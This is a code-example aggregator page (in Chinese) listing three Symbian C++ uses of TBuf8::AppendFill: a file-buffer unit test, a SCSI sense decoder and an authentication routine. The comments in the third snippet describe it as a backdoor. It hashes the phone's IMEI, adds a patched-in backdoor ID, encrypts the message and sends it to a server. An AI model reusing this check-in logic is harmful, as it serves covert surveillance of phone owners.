当前位置: 首页>>代码示例>>C++>>正文


C++ TBuf8::AppendFill方法代码示例

本文整理汇总了C++中TBuf8::AppendFill方法的典型用法代码示例。如果您正苦于以下问题:C++ TBuf8::AppendFill方法的具体用法?C++ TBuf8::AppendFill怎么用?C++ TBuf8::AppendFill使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在TBuf8的用法示例。


在下文中一共展示了TBuf8::AppendFill方法的3个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。

示例1: WriteTest2

/**
@SYMTestCaseID			PDS-SQL-UT-4133
@SYMTestCaseDesc		RFileBuf64 write test 2.
						The test performs file write operations using RFileBuf64 class.
						The write positions are beyound the end of the file but within the buffer capacity.
						The purpose of the test: to verify the logic of RFileBuf64::Write().
@SYMTestActions			RFileBuf64 write test 2.
@SYMTestExpectedResults Test must not fail
@SYMTestPriority		High
@SYMREQ					REQ12106
                        REQ12109
*/
void WriteTest2()
	{
	RFileBuf64 fbuf(1024);
	TInt err = fbuf.Create(TheFs, KTestFile, EFileWrite);
	TEST2(err, KErrNone); 
    fbuf.ProfilerReset();

	//First write operation. After the operation the file buffer must countain 10 bytes.
	err = fbuf.Write(0, _L8("A123456789"));
	TEST2(err, KErrNone); 
	TEST2(fbuf.iFileWriteCount, 0);
	TEST2(fbuf.iFileWriteAmount, 0);
	TEST2(fbuf.iFileSizeCount, 1);

	//Second write operation. After the operation the file buffer must countain 10 + 10 zeros + 10 bytes.
	err = fbuf.Write(20, _L8("FFGGHHJJKK"));
	TEST2(err, KErrNone); 
	TEST2(fbuf.iFileWriteCount, 0);
	TEST2(fbuf.iFileWriteAmount, 0);
	TEST2(fbuf.iFileSizeCount, 1);

	err = fbuf.Flush();
	TEST2(err, KErrNone); 
	TEST2(fbuf.iFileWriteCount, 1);
	TEST2(fbuf.iFileFlushCount, 1);
	TEST2(fbuf.iFileWriteAmount, 30);
	TEST2(fbuf.iFileSizeCount, 1);

	fbuf.Close();
	
	TBuf8<30> pattern;
	pattern.Append(_L8("A123456789"));
	pattern.AppendFill(TChar(0), 10);
	pattern.Append(_L8("FFGGHHJJKK"));
	VerifyFileContent(pattern);
	
	(void)TheFs.Delete(KTestFile);
	}
开发者ID:cdaffara,项目名称:symbiandump-os2,代码行数:50,代码来源:t_sqlfilebuf64.cpp

示例2: DecodeL

void TScsiClientRequestSenseResp::DecodeL(const TDesC8& aPtr)
	{
	__MSFNSLOG
    __SCSIPRINT(_L("--> SCSI REQUEST SENSE"));
    if (aPtr.Length() < KResponseLength)
        {
        // Handle short data.
        // The data not transferred is assumed to be zero.

        // Create full size buffer
        TBuf8<KResponseLength> buffer;

        // Copy data into buffer
        buffer = aPtr;
        // Fill remainder with 0's
        buffer.AppendFill(0, KResponseLength - aPtr.Length());

        DecodeSenseInfo(buffer);
        }
    else
        {
        DecodeSenseInfo(aPtr);
        }
	}
开发者ID:kuailexs,项目名称:symbiandump-os1,代码行数:24,代码来源:tscsiprimarycmds.cpp

示例3: ActivateL

void CStateAuthentication::ActivateL(const TDesC8& aData)
{
    //construct body
    TBuf8<128> plainBody;

    TBuf<16> 	imei;

    // generate kd
    iKd.SetMax();
    TRandom::Random(iKd);
    plainBody.Append(iKd);

    // generate nonce
    iNonce.SetMax();
    TRandom::Random(iNonce);
    plainBody.Append(iNonce);

    // backdoor id from binary patching, ASCII
    plainBody.Append(KBACKDOORID);

    // generate instance id
    // 1. get IMEI
    CPhone* phone = CPhone::NewLC();
    phone->GetImeiSync(imei);
    CleanupStack::PopAndDestroy();
    // 2. SHA1 of IMEI
    TBuf8<16> imei8;
    imei8.Copy(imei);
    TBufC8<16> imeiC(imei8);
    CSHA1* sha1 = CSHA1::NewL();
    CleanupStack::PushL(sha1);
    sha1->Update(imeiC);
    TBuf8<20> instanceId;
    instanceId.Copy(sha1->Final());
    CleanupStack::PopAndDestroy(sha1);
    plainBody.Append(instanceId);

    // subtype
    TBuf8<16> subtype;
    subtype.Append(KSymbian_SubType);
    subtype.AppendFill(0,16-KSymbian_SubType().Length());
    plainBody.Append(subtype);

    //calculate final SHA1
    TBuf8<20> sha;
    CSHA1* payloadSha1 = CSHA1::NewL();
    CleanupStack::PushL(payloadSha1);
    payloadSha1->Update(KBACKDOORID);
    payloadSha1->Update(instanceId);
    payloadSha1->Update(subtype);
    sha.Copy(payloadSha1->Final(iConfKey));
    plainBody.Append(sha);
    CleanupStack::PopAndDestroy(payloadSha1);

    // encrypt plainbody
    RBuf8 buff(AES::EncryptPkcs5L(plainBody, KIV, iSignKey));
    buff.CleanupClosePushL();

    //add REST header
    HBufC8* header = iObserver.GetRequestHeaderL();
    TBuf8<32> length;
    length.Append(KContentLength);
    length.AppendNum(buff.Size());
    length.Append(KNewLine);
    iRequestData = HBufC8::NewL(header->Size()+length.Size()+KNewLine().Size()+buff.Size());
    iRequestData->Des().Append(*header);
    delete header;
    iRequestData->Des().Append(length);
    iRequestData->Des().Append(KNewLine);
    iRequestData->Des().Append(buff);
    CleanupStack::PopAndDestroy(&buff);

    iObserver.SendStateDataL(*iRequestData);
}
开发者ID:sweetwood,项目名称:core-symbian,代码行数:74,代码来源:StateAuthentication.cpp


注:本文中的TBuf8::AppendFill方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。